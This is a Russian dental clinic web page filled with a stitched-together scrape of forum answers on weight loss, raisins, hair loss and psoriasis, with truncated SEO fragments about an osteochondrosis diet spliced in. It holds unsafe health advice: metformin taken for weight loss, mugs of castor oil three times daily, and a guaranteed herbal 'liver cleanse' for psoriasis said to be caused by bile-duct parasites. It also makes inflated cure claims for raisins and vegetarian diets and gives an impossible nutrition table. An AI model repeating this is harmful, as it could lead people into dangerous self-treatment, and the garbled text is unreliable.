Кафедра челюстно лицевой хирургии и стоматологии СамГМУ

ОАО "Поволжский Специализированный Реабилитационный Стоматологический Центр"
Терапия Ортопедия Пародонтология Хирургия Ортодонтия Имплантология Эстетическая хирургия ЧЛХ
  ?>
О компании
Услуги
Прайс
Наши разработки
Наш коллектив
Бесплатная
   консультация

Как мне похудеть(179см. 120кг.),у меня остеохондроз,боли в коленях,анемия?(спасибо заранее)

Вот сейчас пост идет.. время самое благоприятное для сбрасывания веса.. убирайте все молочное.. мясное.. рыбное.. яйца.. только овощи, фрукты, каши..

Есть только один способ. меньше кушать больше двигаться! Хотя можно еще на Взвешенные и счастливые пойти:)

Мясо не ешь кроме грудинки курицы.... уменьшай порции до стакана 5 р в день
исключи - сахар мучное жирное соленья копченья.. .
твоя еда овощи и фрукты и крупы
пей много воды 8 стаканов в день
стакан перед едой всегда... .
хлеб исключи только сухарики и бублики
и желудок уменьшится

Запомните! Вы никогда не похудеете, если будете больше получать ккал, чем тратить их. Поэтому нужно либо больше двигаться, либо меньше кушать. А лучше совокупность и того и другого. Я например, сразу, как увижу лишние кг убираю из рациона: мучное, сладкое и убавляю порции, а также прыгаю на скакалке, но так как у Вас боли в коленях, сомневаюсь, что Вам подойдёт скакалка, лучше быстрая ходьба.

Надо выбирать диету
с большим весом и проблемами с суставами занятия спортом вряд ли будут показаны

Операция поможет. Набери в поисковике-бариатрия.

Пейте глюкофаж. Это средство от сахара, а побочка у него - форсаж толстого кишечника. Короче говоря - перевариваете, а усваиваться не успевает. +Физические нагрузки, + вода + восстановление флоры кишечника.

Чем полезен изюм?

Почти все системы и органы человеческого организма подвержены целебному воздействию изюма. Этот сухофрукт применяется как средство против малокровия, от лихорадки, при нарушениях пищеварения, при болезнях сердца и почек. Также изюм будет полезен людям при выпадении волос.
Изюм полезен при беременности женщинам, у которых низкий гемоглобин и дефицит железа. Недостаток железа и малое содержание гемоглобина в крови плохо сказывается на питании и развитии плода. Изюм и курага прекрасное сочетание, которое значительно повышает содержание железа в организме при беременности. Потребность в кальции при беременности удваивается, а изюм это также прекрасный источник этого минерального вещества. Мамы, которые кормят грудью своих малышей, могут усилить прилив молока и улучшить лактацию, включив в свое меню блюда с содержанием изюма.
Сердечно-сосудистая система очень благосклонно откликается на употребление изюма, высокое содержание калия и магния укрепляет миокард, улучшает проводимость импульсов и налаживает сократительную работу сердца. Изюм значительно уменьшает отеки и снижает артериальное давление.
Олеанолевая кислота в изюме – замечательный антиоксидант и выступает в роли подавителя бактерий, поэтому изюм широко используется при наличии стоматологических проблем.
Изюм используется и при заболеваниях дыхательных путей как противокашлевое средство, а также при лечении бронхита, пневмонии, фарингите.
Благотворно влияет изюм на кожный покров, измельченные ягоды в виде кашицы прикладывают к фурункулам, используют при лечении лишая.
Полезные свойства изюма очевидны, одна не стоит забывать, что высокое содержание сахаров делает этот продукт высококалорийным – 270-300 Ккал на 100 грамм изюма, поэтому злоупотреблять этими сухофруктами не стоит. Не рекомендовано употреблять изюм людям, страдающим ожирением, сахарным диабетом, язвенными поражениями гастродуоденальной области.
Несмотря на высокую энергетическую ценность, изюм высоко ценится как диетический продукт. Люди, придерживающиеся диеты и старающиеся сбросить лишние килограммы также употребляют изюм. Заядлые «диетчики» утверждают, что достаточно взят в рот изюминку и рассасывать ее в течение 10-15 минут, чтобы насытить организм и нужными веществами и питательными элементами, при этом количество калорий будет самым минимальным.

Диета при остеохондрозе. В диете обязательно должно содержаться ежедневно 80 - 90 грамм белков, 80 грамм жиров 50 грамм составляют животные жиры, 30 граммВ период восстановления в меню диеты при остеохондрозе введите такие продукты и блюда, как

Изюм – это вяленый виноград. И, разумеется, изюм вобрал в себя все полезные свойства этого солнечного растения. Вплоть до 80% всех витаминов и 100% микроэлементов, содержащихся в спелом винограде, сохраняется в правильно высушенном изюме.
Польза изюма
Поскольку изюм – кладезь витаминов и микроэлементов, напрашивается вывод о пользе изюма. И, действительно, изюм принесет пользу потому, что:
- изюм богат антиоксидантами, в частности, олеаноловой кислотой. Именно эта кислота защищает наши клетки от свободных радикалов и соответственно укрепляет их и наш иммунитет;
- в изюме много калия. Поэтому его следует есть при заболеваниях сердца и сердечной мышцы;
- в изюме много магния и витаминов группы В, поэтому изюм полезен тем, кто часто раздражается и плохо спит;
- польза изюма заключается еще и в том, что в нем содержится бор. Без этого элемента невозможно нормальное усвоение кальция. Поэтому больным остеохондрозом и остеопорозом нужно включить блюда с изюмом в свой рацион;
- изюм очень полезен беременным и кормящим мамам;
- и, наконец, изюм – источник железа, поэтому рекомендуется больным анемией.

Изюм обладает полезными и лечебными свойствами, так как в нем содержатся минеральные соли, органические кислоты и витамины. Сахаров (глюкозы и фруктозы) содержится в изюме в 8 раз больше, чем в винограде. Кроме того в изюме присутствуют протеины, тиамин и ниацин, жиры и много минеральных веществ (калий, магний, марганец, бор и другие).

Хотелось бы предупредить, что изюм очень богат калием. Это, в принципе, очень полезный для сердца микроэлемент, но при некоторых заболеваниях сердечно-сосудистых заболеваниях он категорически противопоказан. Так что если никаких болезней нет то можно употреблять изюм для профилактики сердечно-сосудистых болезний, и, особенно гипертонии. Его лучше употреблять 1-2 раза каждый день в небольших дозах 20-40 грамм (так лучше всасывается) . Но если есть конкретные болезни сердца, то сначала лучше проконсультироваться с врачём. А вообще-то изюм - просто сущенный виноград. Так что свежий виноград или красное вино полезнее изюма, особенно, свежий виноград.
Более подробно: Свойства.
Химический состав изюма очень богат. Изюм содержит много органических кислот, минеральных веществ и витаминов.
cодержание полезных веществ в 100 г изюма
Калории (кал) 294
Ca (мг) 52
Витамин A (IV) 30
Белки (г) 65
Fe (мг) 1,8
Витамин B1 (мг) 0,01
Жиры (г) 1,8
Cu (мг) 0,35
Витамин B2 (мг) 0,08
Mg (мг) 35
Витамин B3 (мг) 0,50
P (мг) 95
Витамин B4 (мг) 0,38
Лакомясь изюмом вы можете укрепить легкие, сердце, нервную систему и даже «подавить гнев» . Изюм — незаменимая еда для всех нервновозбудимых людей.
Изюм очень полезен тем, кто страдает низким давлением, анемией, пониженным содержанием гемоглобина в крови.
Особенно изюм полезен беременным женщинам. Поскольку беременные женщины часто страдают анемией (дефицитом железа) , что негативно сказывается на питании и энергоснабжении ребёнка, изюм, особенно в сочетании с курагой и орехами повышает содержание железа в организме будущей матери. Как известно, потребность в кальции в период беременности почти удваивается, а изюм содержит и это минеральное вещество. Уменьшить отеки и снизить артериальное давление (явления, с которыми часто сталкиваются будущие мамы) , помогает калий, который присутствует в простом изюме. Так что польза изюма для беременных женщин очевидна. Кормящие мамы могут увеличить количество молока включив в свой рацион бдлюдо из изюма и небольшого количества любых орешек.
На радость сладкоежкам и не только, в изюме есть вещества, которые останавливают рост бактерий вызывающих кариес и заболевания десен. Отвар изюма с небольшим количеством лукового сока в народной медицине применяется как надежное средство при кашле, охриплости. При кашле и бронхите, йоги советуют: 30 г изюма размачивать в воде в течение 45 мин и есть с молоком по вечерам.
Но у изюма и много противопоказаний:
Сахарный диабет, язвенная болезнь желудка и двенадцатиперстной кишки, язвенные процессы в полости рта, энтероколиты, активная форма туберкулеза легких и выраженное ожирение и некоторые сердечно-сосудистые заболевания.
И изюм довольно каллориен, так что не переедайте!

От него не загнёшься

Шлаки выводит отменно!! !

Рисовая диета при остеохондрозе. Правильное питание и описание рисовой диеты при остеохондрозе.Неправильное питание, проявляющееся в высоком потреблении соленых, консервированных и маринованных продуктов и низком содержании овощей, фруктов...

Зубы ломает хорошо, когда камень попадётся. Ещё для почек очень полезно, когда с песком и разным мусором.

Изюм будет полезен тем, кто:
- хочет укрепить иммунитет. В изюме содержатся вещества-антиоксиданты, в частности олеаноловая кислота. Благодаря ей клетки не разрушаются под действием свободных радикалов, которые нас непрерывно атакуют, а значит, становится крепче весь организм;
- раздражителен, страдает бессонницей, часто жалуется на плохое настроение. Благодаря витаминам В1, В2 и В5, которые сохраняются в изюме, и микроэлементу магнию налаживается работа нервной системы, человек успокаивается, у него улучшается сон;
- страдает остеохондрозом, остеопорозом. В сморщенных ягодах содержится редкий микроэлемент бор, без которого невозможно нормальное усвоение кальция - основного строительного элемента костей;
- болен анемией. Изюм - один из лучших источников железа - микроэлемента, который входит в состав гемоглобина - главного компонента красных кровяных телец.
Противопоказания
Не рекомендуется употреблять изюм при ожирении, острой сердечной недостаточности, язвенной болезни желудка и двенадцатиперстной кишки в стадии обострения, сахарном диабете.
Народные рецепты
1. Напиток из овса и изюма. Полезен всем, у кого ослабленное здоровье. Для его приготовления возьмите полстакана изюма и 1,5 стакана овса. Переберите и промойте их, залейте 1,5 л холодной воды, доведите смесь до кипения и настаивайте под крышкой 3-4 часа при температуре, близкой к кипению. Отвар процедите, подавайте теплым, добавив в него перед употреблением 1 ст. л. меда и сок половины лимона. Курс - 10 дней.
2. Отвар изюма с луковым соком. Применяется в народной медицине как средство при кашле, охриплости. Для его приготовления залейте 100 г изюма стаканом кипятка и настаивайте 10 минут, после чего отожмите, процедите и смешайте со столовой ложкой лукового сока. Пейте по 1/2 стакана 3 раза в день до тех пор, пока кашель не уменьшится.

Посоветуйте что-нибудь от выпадения волос! пожалуйста!

ОТВАР ИЗ КОРНЕЙ ЛОПУХА
Применяется против выпадения волос, а также от перхоти, зуда кожи головы. Усиливает рост волос. Способ приготовления и применения. Корни однолетних растений лопуха выкапывают поздней осенью и ранней весной, сушат, а потом готовят отвар. Корни лопуха мелко порежьте. 1 часть корней залейте 10 частями кипятка и отваривайте 10—15 мин на слабом огне. Затем настаивайте в течение 2—3 ч и процедите. Готовым отваром ополаскивайте волосы после мытья головы. Можно также втирать его в корни волос (смывать не надо) .
МАСКА С ПЕРЦЕМ ПРОТИВ ВЫПАДЕНИЯ ВОЛОС
Ингредиенты: 1 ст. ложка настойки красного перца, 2 ст. ложки касторового масла, 2 ст. ложки шампуня (любого) . Способ приготовления и применения. Все ингредиенты перемешайте. Вотрите получившуюся смесь в кожу головы и выдержите 1 ч, по истечении которого вымойте голову теплой водой.
МАСКА ОТ ВЫПАДЕНИЯ ВОЛОС ИЗ ЛУКА
Рекомендуется при слабых, в том числе окрашенных, волосах, после химической завивки, а также мужчинам при склонности к облысению. Ингредиенты: 1 ст. ложка сока луковицы, 1 яйцо, 2 ст. ложки оливкового масла, можно также добавлять 1 ст. ложку коньяка. Способ приготовления и применения. Перемешайте луковый сок, яйцо, оливковое масло и, если добавляете, коньяк. Нанесите на волосы на 1 ч, сверху на голову наденьте шапочку и замотайте полотенцем. Затем вымойте голову, как обычно.
ПЕРЦОВАЯ МАСКА
Может остановить даже сильное выпадение волос и спасти от облысения. Ингредиенты: острый перец чили, водка. Способ приготовления и применения. Настоять перец на водке в течение недели. Нанесите на волосы, вотрите в кожу головы, выдержите 10—20 мин. После вымойте голову, применяя шампунь.
МАСКИ ИЗ СОЛИ
Простая поваренная соль помогает не только отперхоти, но и выпадения волос. 1-й способ применения. Немного крупной поваренной соли вотрите во влажные волосы и подержите на голове примерно час, затем сполосните голову водой или травами. 2-й способ применения. Вымойте голову. Разделите волосы на проборы и нанесите по проборам столовую соль. Покройте голову пленкой (например, мешком или полиэтиленовой шапочкой) и оставьте так на 15 мин. Затем сполосните водой. Эту процедуру рекомендуется делать каждый раз после мытья головы. Примерно на 7—11-й раз применения выпадение волос должно прекратиться.

Диета при остеохондрозе поясничного отдела и других отделов позвоночника требует обязательного включения в рацион холодца, студня и заливной рыбы. Именно в этих продуктах содержатся полезные вещества, которые указаны выше.

Маску на волосьi из желтка и рицинового масла ( в аптеке) . Раз в неделю.

Норма выпадения волос 100 шт. в день.

Делайте репейные маски или купите шампунь с экстрактом репейника. Так-же хорошо помогает шампунь бубьхен.

Выпадение какого то количества волос в день (не помню сколько точно) это норма! !
да и вообще с возрастом волосы выпадают все больше

В самом выпадении волос нет ничего страшного, ведь у каждого нормального человека они выпадают по 20 -100 волосков в день - каждый из нас это замечал. Но если волос на расческе вы видите вдруг больше обычного, то стоит принимать меры. Хотя для начала нужно понять причины выпадения волос. Приведем основные из них, и возможно вы поймете, почему возникла проблема, и сможете самостоятельно ее устранить.
Причина 1. Выпадение волос у женщин может быть вызвано изменением общего гормонального фона. Так выпадение волос наблюдается у большинства женщин в послеродовой период. Но переживать в большинстве случаев не стоит, хоть это и неприятно - это временное явление, которое обычно прекращается через несколько месяцев. А вот если не прекращается, или вы видите, что волосы выпадают уж слишком интенсивно, то не стоит медлить, нужно обратиться к врачу. Заболевания щитовидной железы и другие гормональные нарушения также могут стать причиной выпадения волос. И в таком случае важнее не просто остановить выпадение, а устранять первопричину, которая может быть очень серьезной.
Повышенный уровень гормона андрогена (мужской половой гормон) . Такое редко встречается у женщин, но все же, бывает, и это объясняет почему выпадают волосы, особенно в 40-50-летнем возрасте. В таком случае помогает гормональная терапия, которую может назначить только квалифицированный врач.
Причина выпадения волос № 2. Авитаминоз или недостаток необходимых организму витаминов и микроэлементов может дать о себе знать поредевшей шевелюрой. Обычно такое случается в весенние периоды, хотя бывает, что витаминов не хватает и по другим причинам - диеты, голодовки или просто нерациональное питание. Особенно остро реагируют волосы на отсутствие в рационе:
- аминокислот (орехи, зерновые, яйца, бобовые, бананы, финики, молоко и молочные продукты) ;
- протеина (мясо, яйца, рыба, бобовые, сыр, орехи) ;
- бета-каротина (морковь, тыква, печень, яйца) ;
- цинка (бананы, орехи, черника, зерновые и бобовые) ;
- железа (красное мясо, печень, гранат, яблоки, гречка, черная смородина) ;
- кальция (творог, сыр, шпинат, мясо, капуста цветная и белокочанная, орехи, яичный желток) ;
- витамина С (цитрусовые, квашеная капуста, лук, киви, облепиха, черная смородина) ;
- витамина Е (растительные масла, злакове, бобовые, яйца) ;
- витамина F (растительные масла и животные жиры) .
Если в еде вы соблюдаете разумный баланс, то эту причину можно отбросить.
3 причина - стресс. Так называемый хронический стресс может стать одной из причин выпадения волос. Если вы постоянно переутомляетесь, мало спите и нервничаете - это несет вред вашему здоровью, а волосы, как индикатор, сразу выдают это. Опасность такого состояния не только в потере волос, но и в том, что это пагубно влияет на весь организм. Первым делом может проявиться гастрит, бессонница, неврозы. Стоит задуматься над тем, чтобы изменить свой ритм жизни и сделать его более гармоничным. Чтобы уравновесить тяжелые умственные нагрузки на работе, попробуйте йогу и техник медитации, которые позволят расслабить тело, очистить разум. Свободное время проводите в компании родных и друзей. Старайтесь планировать не только свой рабочий день, но и отдых.
Причина 4. Заболевания. Волосы могут выпадать по причине нарушений в организме - инфекционных заболеваний, заболеваний нервной системы, проблем с желудочно-кишечным трактом, вышеупомянутые эндокринные заболевания, шейный остеохондроз. Конечно же, в таком случае главный упор нужно делать на устранение первопричины, то есть болезни.
Причина 5. Неправильное обращение или злоупотребление химией. Красители и средства для химической завивки доступны сейчас для любой женщины. Однако это не всегда хорошо. Несоблюдение элементарных правил может не только не дать желаемого результата, но и сильно навредить волосам. Поэтому всегда внимательно читайте инструкцию и не используйте такие средства чаще, чем раз в месяц.

Питание при остеохондрозе позвоночника диета. При остеохондрозе можно периодически использовать постную диету, но при этомУчитывая достаточное содержание в таких продуктах кальция и витамина В12, можно разрешить длительное пользование такой диетой.

Вообще то за состояние волос в организме "отвечает" печень и селезенка, а начавшееся выпадение волос просто как сигнал о состоянии не только самих волос, но и органов, так что решать что делать-это уж личное дело

Касторку пей, 3 раз в день по кружке

Перестать красится, отращивать свой цвет волос и попробуй еще маску из репейного масло. разогрей его и на волосы. и так через день в течении месяца

Почему весной выпадает больше волос ?

Авитоминоз

Каждый недуг имеет свое индивидуальное меню, режим питания, запрещенные и рекомендованные продукты.Но диета при остеохондрозе позвоночника несколько отличается от нашего привычного понимания этого слова.

Авитаминоз и переизбыток влаги.

В большей степени выпадение волос у женщин зависит от правильного питания. Косметологи отмечают, что весна является критическим сезоном для волос, когда у женщин происходит "линька" вызванная слабостью организма и авитаминозом. Кроме того, сама природа заложила в человека программу, весной наши волосы обновляются к летнему сезону и больше выпадают . Женщинам остается только смириться с весенним выпадением волос, бороться с этим невозможно. Зато стараться, чтобы новые росли быстрее на месте выпавших волос может каждая женщина. Для того чтобы ускорить рост волос, необходимо включить в рацион питания продукты богатые витаминами A, E и C. А этих витаминов много в морепродуктах, в растительном масле, моркови, семечках, орехах, лимоне и других фруктах. В состав волоса входят такие минеральные вещества как цинк, магний, селен, железо, кальций и кремний. Их недостаток в организме может также стать причиной выпадения волос у женщин. Богаты этими элементами абрикос, миндаль, чернослив, яблоко, какао, зеленый чай и шоколад. Белки также очень важны для укрепления волос, поскольку содержащиеся в них аминокислоты являются источником серы, из которой состоит компонент волос кератин. Белковые продукты - это яйца, мясо, рыба, молочные продукты. Многие женщины отказываются от белковых продуктов при соблюдении диеты, что становится причиной выпадения волос .

Витаминов не хватает! И иммунитету и волосам!

В помещениях при отоплении очень сухо, волосы пересыхают, а витаминов уже практически нет. если только в квашеной капусте да свежем луке..

После зимы, зимой вы употребляете меньше витаминов (свежих овощей и фруктов как правило) . Чтоб не выпадали делайте вот эту маску очень помогает.
1 ложка касторового масла
1 ложка сока лука (только обязательно сока, а не кашицы, иначе волосы действительно будут попахивать)
1 ложка настойки календулы
1 ложка настойки стручкового перца
1 ложка меда
1 ложка коньяка
1 желток
Размер ложки зависит от густоты волос на голове. Можно по чайной, если много волос по столовой.
Наносится на голову, одевается шапочка и часик можно спокойно заниматься домашними делами.

Диета при остеохондрозе. Сосредоточимся на снабжении и усвоении коллагена и жидкости.У растений его изначально нет. Какие продукты есть, чтобы не болела спина. В диету при остеохондрозе следует включать

Витаминов слишком мало. .

Весной и осенью у большинства из нас волосы более обычного выпадают, секутся, отчего наши шевелюры у многих и без того не сильно шикарные могут заметно поредеть. И такое случается по нескольким причинам: 1. Дефицит железа От нее в той или иной степени страдают 8 из 10 женщин. Причины обильные месячные, недостаточное количество мяса в рационе, малоподвижный образ жизни. В этом случае весь организм, включая волосяные луковицы, получает недостаточно кислорода, что сказывается на состоянии стержня волоса и его оболочки. Волосы делаются ломкими и тусклыми, а их кончики расслаиваются. Что делать? Сделайте анализ крови (из пальца) на уровень гемоглобина и количество эритроцитов красных кровяных телец. Если их показатели окажутся ниже нормы, начните принимать препараты железа. 2. Дисбаланс гармонов Проблемы с волосами часто возникают сразу после родов или искусственного прерывания беременности, когда в крови нарушается баланс женских и мужских гормонов. А это неблагоприятно влияет на состояние луковиц. Что делать? Не впадайте в панику: постепенно усиленное выпадение волос прекратится само собой. Если в течение 2-3 месяцев изменений к лучшему не наступило, сдайте анализ крови на сахар и обследуйтесь у эндокринолога. Выпадение и уменьшение объема волос могут быть первыми признаками повышения уровня сахара в крови, при котором нарушается микроциркуляция в мелких капиллярах, питающих волосяные луковицы. 3. Ленивый кишечник Если вы страдаете хроническими запорами, организм начинает усиленно избавляться от шлаков другими способами. Например, через сальные железы. Это сказывается на состоянии луковиц волосы становятся жирными, секутся и выпадают. Что делать? Ешьте больше богатых клетчаткой овощей (капусту, морковь, яблоки) , ежедневно выпивайте не менее полутора-двух литров жидкости, больше двигайтесь. Если эти меры не помогают, отрегулируйте работу кишечника с помощью эффективных слабительных. 4. Виноват стресс Он уменьшает выработку гормонов, необходимых
для роста волос, и вызывает сужение сосудов, питающих луковицы. В результате удлиняется фаза покоя, во время которой луковицы отдыхают (в норме 3-4 месяца после выпадения волос) , и сокращается фаза роста (обычно 3-5 лет) . Волоски выпадают раньше, чем положено, а новые не торопятся занять их место. Что делать? Научитесь снимать нервное напряжение при помощи аутотренинга, мышечной нагрузки. И прическа снова станет густой и объемной. 5. Шейный остеохондроз Для него характерны частая головная боль, головокружение, дискомфорт в области шеи и плечевого пояса, неприятный хруст при поворотах головы. Если произошло ущемление нервных корешков между затронутыми остеохондорозом позвонками, нарушается регуляция тонуса сосудов, питающих луковицы, и прическа начинает редеть. Что делать? Периодически массируйте заднюю поверхность шеи и плеч, уделяя особое внимание болевым точкам. После процедуры нанесите на них вьетнамский бальзам звездочка .

У меня ожирение? Как мне похудеть? Рост 181см, вес 98кг (фото снизу)

Больше бегать, меньше жрать!!!!

Какова диета при остеохондрозе. Диета при таком заболевании обязательно должна содержать ежедневное употреблениеВсе продукты для диеты готовятся на пару и употребляются маленькими порциями около шести раз в день, чтобы они лучше усвоились.

Ограничить себя в питании где содержится много жира мясо заменить рыбой

Нормальный шкаф . Иди к специалисту в фитнес или в плавание . Нарисует тебе схему нагрузок и питания .

Ешь по чуть- чуть много раз а не мало раз и помногу

Не могу сказать что ты прям очень толстый, но жира достаточно), я думаю тебе лучше всего просушиться, но не советую конечно это делать так как живот потом может превратиться в пакет (а потом только с помощью операции можно удалить), если так хочется похудеть то тогда во первых запишись в какой нибудь клуб (футблол, баскетбо, волебол и т. д) еще поищи в интернете "как просушиться",эта такая диета при помощью которой можно легко похудеть (1кг в неделю). Немного расскажу о диете, питаться 6-8 раз в день небольшими порциями, пить воду (3лит как минимум).

Поменьше лопать сладкого, а лучше вообще исключи из рациона и займись спортом. И увидишь эффект на лицо. У меня муж так похудел на 30кг. УДАЧИ!!!

Именно поэтому особое место в лечении и профилактике остеохондроза занимает диета при остеохондрозе.В рацион питания в обязательном порядке должны быть включены кисломолочные продукты, как источник природного кальция, особенно творог, твердые сыры, а...

Парень у меня даже лицо на твое похоже, мой рост 182 вес 99))) выбрал безуглеводную диету+бег, поищи в нете,

А я люблю таких.... у меня парень почти 190см и вес за сотку.... каждому своё!

Спортом заняться

Ты же пиво пьешь наверно много

Вопрос: Мой муж увлекся бегом, а я волнуюсь — не повредят ли ему эти занятия, он ведь нетренированный
Марина Печникова, Москва
Ответ Бубновского С. М. : Пробежки приносят пользу только тем, у кого хорошо поставлена техника бега, чьи мышцы в полном порядке и кто не забывает выполнить пару специальных упражнений до и после занятий. Все остальные рискуют добегаться до поясничного остеохондроза и артроза коленных суставов. Перед тем, как выйти на улицу, необходимо снять ночную скованность холодным душем, активно растереться и сделать на турнике 10—20 подъемов коленей к поясу или к груди на выдохе. Бег должен быть «стелющимся» , то есть не топающим. После бега снова надо позаниматься на турнике или выполнить упражнения на растяжку из йоги и принять контрастный душ, закончив его холодным обливанием.
Вопрос: Есть такие оригинальные методики для мужчин, как, например, 100 прыжков в день, или 50 приседаний, или 40 отжиманий. Насколько они эффективны?
Ирина Чернова, Волгоград
Ответ Бубновского С. М. : Есть, и они эффективны порой даже больше, чем бег, плавание и ходьба. Ведь бег требует особой подготовки, плавание дает результат только если вы проплываете не меньше 1,5 км за 30 минут, а ходить нужно минимум 2 часа в день. Все это с успехом заменяет получасовая аэробная гимнастика: 10 приседаний, 10 отжиманий, 10 упражнений на пресс поочередно в течение 30 минут 3 раза в неделю. Отжимания от пола улучшают мозговое кровообращение. Укрепление пресса улучшает работу почти всех внутренних органов. Приседания защищают от болезней предстательную железу. Чтобы избежать болей в мышцах, после тренировки принимают контрастный душ, заканчивая его холодным и последующим растиранием жестким полотенцем. Во время занятий необходимо пить.
Вопрос: Есть комплекс упражнений против лишнего веса?
Вероника Перова, Орел
Ответ Бубновского С. М. : Дело не в весе, а в качестве веса. Поэтому я бы посоветовал мужчинам научиться своим весом управлять, что в свою очередь дается регулярными тренировками в спортзале. Но кое-что можно сделать и дома. Например, избавиться от слишком большого живота. Лежа на спине (на полу, на диване или даже в ванне с водой) с согнутыми коленями, на выдохе втягивать живот. Делайте это 50 раз подряд, Бегать с лишним весом нельзя, а вот спускаться по лестнице — полезно.

Правильная диета при остеохондрозе поможет обеспечить организм пациента хондропротекторами.При веганском типе диеты из употребления исключаются все животные продукты.

Итак как похудеть, что же для этого требуется? Во-первых, необходимо значительно снизить калорийность рациона. По возможности максимально ограничьте употребление в пищу жирных блюд. Помните, что один грамм жира при расщеплении в клетках нашего организма даёт вдвое больше калорий, чем один грамм углеводов или белков. Чем меньше жирных блюд в вашем рационе, тем больше шансов у вас похудеть в домашних условиях всего за одну неделю. Ограничьтесь небольшим кусочком сливочного масла для бутербродов или приготовления каши и одной-двумя ложками растительного масла для овощного салатика (полностью исключать жиры из рациона тоже не следует, так это может привести к нарушениям обменных процессов и ухудшению здоровья) . Во-вторых, категорически откажитесь от всевозможных сладостей и кондитерских изделий. У таких продуктов также довольно высокая калорийность, при этом в их составе очень много сахара. Этот углевод очень хорошо усваивается в организме и при избыточном поступлении способствует быстрому формированию избыточной массы тела, поэтому при желании похудеть за неделю лучше вовсе исключить сладкие изделия из рациона. Вполне достаточно одной-двух маленьких ложечек сахара, содержащихся в чашке чая или кофе. Если же вы любите частенько попить чая в домашних условиях или на рабочем месте – лучше наслаждайтесь этим напитком без сахара. В-третьих, старайтесь поужинать не позднее шести-семи часов вечера. В таком случае калории, поступившие с пищей в организм, успеют полностью израсходоваться и не будут откладываться в виде избыточного количества жировой ткани. Если же в домашних условиях перед сном вам невыносимо захочется покушать, то помните, что поздний ужин очень способствует увеличению веса вашего тела и появлению «лишних» килограммов. Если вы действительно желаете похудеть за неделю хотя бы на пару килограммов, то ограничьтесь употреблением на ночь стакана обезжиренного кефира – он не позволит остаться вашему желудку пустым, устранит чувство голода, обеспечит ваш организм белком и одновременно не принесет большого количества калории

На завтрак яичницу, а на ужин рыбу ешь без хлеба.

Могу помочь-обращайтесь.

Нужна помощь, срочно

Бог подаст!

Продукты, успокаивающие нервную систему. Продукты, увеличивающие обмен веществ. Меню на день. Задача диеты при остеохондрозе. Влияние питания на остеохондроз.

Какая помощь, конкретно.

Чем могу быть полезна?

Постучи в стенку.

Головой об стену....

7.00 Первый завтрак.
9.30-10.00 Второй завтрак
13.00 Обед
16.30 Полдник
19.00 Ужин
Последний прием пищи за 4 часа до сна. Как раз в 23.00 ложишься спать.

Содержание Принципы правильного питания. Виды диет. Обязательные продукты питания. При любых заболеваниях опорно-двигательного аппарата, которые имеют дегенеративно-дистрофический характер, необходимо придерживаться рационального питания.

Производители мяса, молочных продуктов и яиц не говорят нам о том, что в список болезней, которые можно предотвратить, последовательно облегчить и иногда даже излечить маложирной вегетарианской диетой, всключает: инсульт, инфаркт, рак кишечника, почечные камни, рак груди, рак матки, рак внутренних органов, рак поджелудочной железы, рак легких, рак желудка, геморрой, диабеты, запор, ожирение, язва желудка, ИБС, гипертоническая болезнь, атеросклероз, астма, желчно-каменная болезнь, трихинеллез, остеохондроз, сальмонеллез, синдром раздраженной толстой кишки, дивертикулез, рак эндометрия, аппендицит, подагра, нарушение обмена веществ. По данным тестов, проводимых медиками, из 100 людей, перешедших на вегетарианство, у 51 человека уменьшилась масса тела, у 32 исчезли расстройства в системе пищеварения, у 60 улучшилось настроение, у 53 обострилось зрение, у 40 реже возникали простуды, у 10-15 исчезли ломкость ногтей, выпадение волос и т. д.

Посоветуйте пожалуйста средство от псориаза.

Моей "Девушке" помогло итенсивное соитие, часто псориаз - от нервов, если у вас рыжеконопатость, тогда - солярий

Питаться во время диеты необходимо 5-6 раз в сутки. Общее суточное количество калорий 2500 ккал. Продукты разрешается отваривать, запекать, но предпочтительнее пользоваться пароваркой. Диета при остеохондрозе шейного отдела.

Только дерматолог знаетт!!! !
псориазм не излечим до конца! можно только ослабить его ((((

Сексом займитесь.

Моему мужу помогло ношение кольца из серебра и браслет из камня сердолика

Повышайте иммунитет и лечите печень!
у меня был псориаз от стрессов, вредной еды и вредных привычек. когда со всем завязал псориаз исчез!

А я знаю человека, который похудел и псориаз прошел

Диета и остеохондроз.1 употреблять в пищу естественные продукты, не подвергнутые обработке фрукты, овощи, орехи, яйца, злаки, цельное зерно, рыбу, птицу, крольчатину, молоко, сыр, творог

Псориаз до конца не изучен. И в каждом конкретном случае причина может быть разная. Лучше обратиться для начала к врачу. Насколько вы уверены в диагнозе? В детстве у меня был псориаз, меня родители затаскали по больницам и госпиталям. Но безрезультатно. Какие только способы лечение не попробовали! Белорусская знахарка сделала мазь, которой меня мазали и все прошло на долгие годы. Но что это было? Излечение от мази, или от всего комплекса предыдущих мероприятий по исцелению и мазь, как довершение? Не ведомо. Псориаз вернулся спустя 30 лет- упал иммунитет из-за стресса. Теперь как понервничаю - так пятна. если спокойствие соблюдаю - все Ладно. И не надо никаких мазей и лекарств. А какова причина вашего псориаза? Психологическая, гормональная, или недостаток витаминов, солнышка... как знать. лекарство вы найдете, познав причину.

Основной причиной псориаза являются-
проблемы печени, поэтому необходимо соблюдать строгую диету: не употреблять продуктов, которые печень **не переваривает**(не любит): острое, кислое, соленое, алкоголь (весь) ,
а, также, жару. При несоблюдении одного из этих факторов-начинаются осложнения болезни. И, еще, время перехода из осени в зиму (ноябрь-декабрь) и, из зимы в весну
февраль-март), в китайской медицины называются-**пятым временем года**
(временем **плохой**(перевозбужденной) печени. Именно, в этот период и происходит усиленное появление следов псориаза (бляшек). А лечить внутренние проблемы-наружным способом,
лишняя потеря времени и финансов. Лучше- лечите печень.

Под моим наблюдением сейчас лечится от псориаза женщина 62 лет . псориаз- это паразиты в желчных протоках 100%. Пока их не умеют диагностировать у нас в России. Соит только желчи остыть на 5 градусов и уже их не покажет никакой анализ. Очищение печени и желчного пузыря проходит по специальной программе, основанной на целебных травах, причем живых. сразу скажу что это не быстро. программы очищения мы составляем очень индивидуально, т. к. с возрастом у каждого свои накопления, свой букет проблем со здоровьем. Но надо сказать что после этого очищения проходит весь букет. Я сама опробировала эти программы на себе и ликвидировала такие проблемы как : цистит, артрит, остеохондроз, боли в позвоночнике, панкреатит.... Минздрав РФ дал все рекомендации и сертификаты на эти замечательные продукты. Но сразу скажу, что официальная медицина этими продуктами не пользуется, так как они из разряда нутрицевтики ( то есть натуральные из трав ) а наша отечественная медицина нутрицевтику в практику пока не пропускает, хотя сами врачи исцеляются у нас и удивляются что так действенно! Пишите, подскажу на каком сайте все посмотреть и если решите, то будете здоровы, гарантирую. Вы не первый.

Я бегаю каждый день вечером, смогу ли я бросить за 3 месяца 10 кг, но при этом я пока не могу отказаться от колы и чипсов

